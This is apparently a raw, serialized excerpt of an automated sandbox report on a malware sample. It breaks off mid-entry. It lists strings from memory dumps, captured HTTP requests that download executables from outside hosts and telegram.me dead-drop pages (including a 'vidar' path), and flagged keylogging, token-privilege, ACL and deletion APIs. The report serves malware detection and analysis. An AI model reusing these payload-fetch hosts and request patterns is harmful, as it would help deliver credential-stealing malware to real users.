"https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00007724.00000001.253044.04498000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00007724.00000001.253044.04498000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00007724.00000001.253044.04498000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportastmpsigstuberrorheartbeatreporttimeastsetuperrorheartbeatreporttimeheckforsignaturesbeforerunningscanheckforsignaturesbeforerunningscanocalsettingoverridescheduletimeocalsettingoverridescan_scheduletimeoft0astmpsigstuberrorheartbeatreporttimeastsetuperrorheartbeatreporttimeocalsettingoverridescanparametersis\consumers\ips\sku" - Source: "00000000-00007724.00000001.253044.1D060000.00000004.mdmp") Found URL "https://stackoverflow.com/q/2152978/23354annot" - Source: "00000000-00007724.00000001.253044.1D260000.00000004.mdmp") Found URL "https://stackoverflow.com/q/11564914/23354;" - Source: "00000000-00007724.00000001.253044.1D260000.00000004.mdmp") Found URL "https://stackoverflow.com/q/14436606/23354t" - Source: "00000000-00007724.00000001.253044.1D260000.00000004.mdmp") Found URL "https://stackoverflow.com/q/2152978/23354annot" - Source: "00000000-00007724.00000001.253044.1D8C0000.00000004.mdmp") Found URL "https://stackoverflow.com/q/11564914/23354;" - Source: "00000000-00007724.00000001.253044.1D8C0000.00000004.mdmp") Found URL "https://stackoverflow.com/q/14436606/23354t" - Source: "00000000-00007724.00000001.253044.1D8C0000.00000004.mdmp")90:T665,Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found string "HTTP/1.1H" (Indicator: "HTTP/1.1"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found string "POST / HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000528.00000001.252412.83280000.00000004.mdmp") Found string "Content-Length254POST / HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000528.00000001.252412.83280000.00000004.mdmp") Found string "HTTP/1.1 200 OKp" (Indicator: "HTTP/1.1"; Source: "00000000-00000528.00000001.252412.83280000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00000528.00000001.252412.85870000.00000004.mdmp") Found string "HTTP/1.1H" (Indicator: "HTTP/1.1"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found string "HTTP/1.1 200 OKpZ" (Indicator: "HTTP/1.1"; Source: "00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00004592.00000001.250667.B6140000.00000004.mdmp")91:T65f,GET /vidar/random.exe HTTP/1.1 GET /files/6691015685/bEKVmef.exe HTTP/1.1 GET /files/7453936223/5GFpJxh.exe HTTP/1.1 GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 GET / HTTP/1.1 Host: cro.munsitex.com.lk Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 GET /files/8035438604/X5P2hQO.msi HTTP/1.1 GET /files/8434554557/QKTi8Lo.exe HTTP/1.1 GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=cc6276b74ea54399cd_4653140509329839093 GET /n1ds03 HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=cc6276b74ea54399cd_4653140509329839093 GET / HTTP/1.1 Host: lts.beznervov.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 GET /files/7972786482/6TsgDw4.exe HTTP/1.1 GET /files/5900855435/eNLe4nm.exe HTTP/1.1 GET /files/8451971749/Wfo8KJM.exe HTTP/1.1 GET /files/6608710704/QWKgBhv.exe HTTP/1.1 GET /files/7782139129/jC9EsXW.exe HTTP/1.1 GET /test/random.exe HTTP/1.1 GET /files/rdx/random.exe HTTP/1.1 92:T40e,Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00000528.00000001.252412.83280000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00000528.00000001.252412.83280000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00000528.00000001.252412.83280000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00000528.00000001.252412.83280000.00000004.mdmp") Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00004592.00000001.250667.B6140000.00000004.mdmp")93:T13fe,Found registry query API: "RegQueryValueExA" in file "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin" Found registry query API: "RegOpenKeyExA" in file "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin" Found registry query API: "RegQueryInfoKeyA" in file "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin" Found registry query API: "RegEnumValueA" in file "00000000-00007260.00000000.250188.0018F000.00000002.mdmp" Found registry query API: "RegGetValueA" in file "00000000-00007260.00000000.250188.0018F000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in file "00000000-00007260.00000000.250188.0018F000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in file "00000000-00004592.00000001.250667.75431000.00000040.mdmp" Found registry query API: "RegQueryValueExW" in file "00000000-00004592.00000001.250667.75431000.00000040.mdmp" Found registry query API: "RegEnumKeyExA" in file "00000000-00004592.00000001.250667.75431000.00000040.mdmp" Found registry query API: "RegGetValueW" in file "00000000-00004592.00000001.250667.75431000.00000040.mdmp" Found registry query API: "RegEnumKeyExW" in file "00000000-00004592.00000001.250667.75431000.00000040.mdmp" Found registry query API: "RegQueryValueW" in file "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin" Found registry query API: "RegOpenKeyA" in file "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin" Found registry query API: "RegEnumValueW" in file "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin" Found registry query API: "RegQueryValueExWSHFileOperationAInternetConnectAHttpOpenRequestAHttpSendRequestAInternetReadFile ]~pu]xscpchP" in "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00003336.00000000.253660.B911A000.00000002.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00003336.00000000.253660.B911A000.00000002.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp" Found registry query API: "RegEnumKeyExA" in "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp" Found registry query API: "RegEnumValueA" in "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp" Found registry query API: "RegGetValueW" in "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00003336.00000000.253660.B911A000.00000002.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00003336.00000000.253660.B911A000.00000002.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp" Found registry query API: "" in "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp" Found registry query API: "" in "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp"94:T4ae,Found reference to API "MapVirtualKeyA" (Indicator: "MapVirtualKey"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetKeyNameTextA" (Indicator: "GetKeyNameText"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetKeyNameTextW" (Indicator: "GetKeyNameText"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin")95:T94d,"" in "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp" Found registry deletion API: "" in "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp" Found registry deletion API: "internal/syscall/windows/registry.procRegDeleteKeyW" in "00000000-00002868.00000000.251818.0143B000.00000002.mdmp" Found registry deletion API: "internal/syscall/windows/registry.procRegDeleteValueW" in "00000000-00002868.00000000.251818.0143B000.00000002.mdmp" Found registry deletion API: "" in "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp" Found registry deletion API: "" in "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp" Found registry deletion API: "RegDeleteKeyA" in "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp" Found registry deletion API: "" in "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp" Found registry deletion API: "" in "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp"a7:T7f7,Found string "OpenProcessToken" (Indicator: "OpenProcess"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found string "OpenProcessToken.3" (Indicator: "OpenProcess"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") file/memory contains long string with (Indicator: "OpenProcess"; File: "systemhelper.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "MSICD63.tmp") Found string "OpenProcess" (Indicator: "OpenProcess"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found string "OpenProcessTokenW" (Indicator: "OpenProcess"; Source: "00000000-00007724-00000C2C-2872655985") Found string "OpenProcessW" (Indicator: "OpenProcess"; Source: "00000000-00007724-00000C2C-2873110581") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found string "syscall.procOpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found string "syscall.procOpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp")a8:Tec0,Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "syscall.procDeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "syscall.procRemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp")a9:T461,Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "AdjustTokenPrivileges.+" (Indicator: "AdjustTokenPrivileges"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp")aa:T806,Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "SetFileAttributesW" (Indicator: "SetFileAttributes"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "syscall.procSetFileAttributesW" (Indicator: "SetFileAttributes"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp")ab:T1211,Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetSidIdentifierAuthority" (Indicator: "GetSidIdentifierAuthority"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetAce" (Indicator: "GetAce"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "AddAce" (Indicator: "AddAce"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetFileSecurityW" (Indicator: "GetFileSecurityW"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "syscall.procCopySid" (Indicator: "CopySid"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp")ac:Tdc3,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "NtTerminateProcess" (Indicator: "TerminateProcess"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "00000000-00003524.00000001.252222.00141000.00000020.mdmp") Found reference to API "NtTerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: 